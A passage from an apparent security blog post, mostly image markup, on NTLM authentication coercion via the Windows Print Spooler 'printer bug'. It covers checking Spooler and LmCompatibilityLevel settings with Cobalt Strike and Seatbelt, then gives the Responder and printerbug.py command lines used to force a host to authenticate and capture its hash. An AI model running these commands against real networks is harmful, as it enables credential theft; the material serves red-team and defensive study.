y2="14"></line></svg></button></div></div></div></a></figure></div><p>PowerShell&#8217;s <em>Get-PrinterPort</em> can be used to check if Spooler is running on a remote host. The example below uses Cobalt Strike&#8217;s <em>powerpick </em>beacon command. (A bunch of errors will be encountered if the remote host is not running Print Spooler.)</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HrZl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HrZl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png 424w, https://substackcdn.com/image/fetch/$s_!HrZl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png 848w, https://substackcdn.com/image/fetch/$s_!HrZl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png 1272w, https://substackcdn.com/image/fetch/$s_!HrZl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HrZl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png" width="881" height="422" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2d52a173-2bf5-435e-b715-391739e26f67_881x422.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:422,&quot;width&quot;:881,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!HrZl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png 424w, https://substackcdn.com/image/fetch/$s_!HrZl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png 848w, https://substackcdn.com/image/fetch/$s_!HrZl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png 1272w, https://substackcdn.com/image/fetch/$s_!HrZl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2d52a173-2bf5-435e-b715-391739e26f67_881x422.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>To determine if NTLM responses can be sent, I will check <em>secpol.msc </em>at <em>Security Settings\Local Policies\Security Options\Network security: LANManager authentication level</em>. Vulnerable settings can be any of the following:</p><p>- <em>Send LM&amp; NTLM responses</em></p><p>- <em>Send LM&amp; NTLM &#8211; use NTLMv2 session security if negotiated</em></p><p><em>- SendNTLM responses only</em>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gtIP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gtIP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png 424w, https://substackcdn.com/image/fetch/$s_!gtIP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png 848w, https://substackcdn.com/image/fetch/$s_!gtIP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png 1272w, https://substackcdn.com/image/fetch/$s_!gtIP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gtIP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png" width="997" height="522" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/071cf0dc-ce86-405e-a901-164379c97a20_997x522.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:522,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!gtIP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png 424w, https://substackcdn.com/image/fetch/$s_!gtIP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png 848w, https://substackcdn.com/image/fetch/$s_!gtIP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png 1272w, https://substackcdn.com/image/fetch/$s_!gtIP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F071cf0dc-ce86-405e-a901-164379c97a20_997x522.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This can also be done via command line using <em>reg query</em>:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Zk5P!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Zk5P!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png 424w, https://substackcdn.com/image/fetch/$s_!Zk5P!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png 848w, https://substackcdn.com/image/fetch/$s_!Zk5P!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png 1272w, https://substackcdn.com/image/fetch/$s_!Zk5P!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Zk5P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png" width="997" height="183" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:183,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Zk5P!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png 424w, https://substackcdn.com/image/fetch/$s_!Zk5P!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png 848w, https://substackcdn.com/image/fetch/$s_!Zk5P!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png 1272w, https://substackcdn.com/image/fetch/$s_!Zk5P!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84088563-a5d6-4b43-96f3-c8bfe32ad3e0_997x183.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Microsoft&#8217;s mapping of <em>LmCompatibilityLevel</em> settings to registry values can be found here.</p><p><a href="https://web.archive.org/web/20250710084132/https://github.com/GhostPack/Seatbelt">Seatbelt</a>, from the GhostPack toolkit, has a <em>NTLMSettings</em> command that can be used to check the LmCompatibilityLevel setting on a remote host. The example below uses Cobalt Strike&#8217;s <em>execute-assembly </em>beacon command to run Seatbelt.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ky8Y!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ky8Y!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png 424w, https://substackcdn.com/image/fetch/$s_!ky8Y!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png 848w, https://substackcdn.com/image/fetch/$s_!ky8Y!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png 1272w, https://substackcdn.com/image/fetch/$s_!ky8Y!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ky8Y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png" width="997" height="618" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:618,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ky8Y!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png 424w, https://substackcdn.com/image/fetch/$s_!ky8Y!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png 848w, https://substackcdn.com/image/fetch/$s_!ky8Y!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png 1272w, https://substackcdn.com/image/fetch/$s_!ky8Y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5226e829-1f20-4ce6-a279-f72890477ee4_997x618.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>Attack Demo</h4><p>For testing and exploitation, I will use printerbug.py from the krbrelayx toolkit to coerce authentication and <a href="https://web.archive.org/web/20250710084132/https://github.com/lgandx/responder">Responder </a>to capture it. The printer bug is a &#8220;feature&#8221; of the MS-RPRN protocol (PrintSystem Remote Protocol), through which any domain user can remotely force a target running the Print Spooler service to authenticate to an arbitrary IP address.</p><p>First, ensure that Responder&#8217;s challenge is set to 1122334455667788 in <em>Responder.conf:</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YKry!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YKry!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png 424w, https://substackcdn.com/image/fetch/$s_!YKry!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png 848w, https://substackcdn.com/image/fetch/$s_!YKry!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png 1272w, https://substackcdn.com/image/fetch/$s_!YKry!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YKry!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png" width="835" height="387" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:387,&quot;width&quot;:835,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:83537,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.tw1sm.io/i/181525653?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YKry!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png 424w, https://substackcdn.com/image/fetch/$s_!YKry!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png 848w, https://substackcdn.com/image/fetch/$s_!YKry!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png 1272w, https://substackcdn.com/image/fetch/$s_!YKry!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45f704f2-c655-4095-8901-d7f8f6bce1bd_835x387.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Then kick off Responder: <code>./Responder.py -I &lt;Interface&gt;</code></p><p>And finally, trigger authentication using the printer bug with any domain user credentials (I will be using <em>WINDOMAIN.LOCAL\lowprivuser</em>):</p><p><code>python3 printerbug.py&lt;domain&gt;/&lt;username&gt;:&lt;password&gt;@&lt;target&gt; &lt;IP ofResponder listener&gt;</code></p><p>It will look like this if successful:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Bgki!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Bgki!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png 424w, https://substackcdn.com/image/fetch/$s_!Bgki!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png 848w, https://substackcdn.com/image/fetch/$s_!Bgki!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png 1272w, https://substackcdn.com/image/fetch/$s_!Bgki!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Bgki!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png" width="997" height="345" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:345,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Bgki!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png 424w, https://substackcdn.com/image/fetch/$s_!Bgki!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png 848w, https://substackcdn.com/image/fetch/$s_!Bgki!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png 1272w, https://substackcdn.com/image/fetch/$s_!Bgki!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3b8f23d9-b1f9-4415-92a5-48423df8a10a_997x345.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container 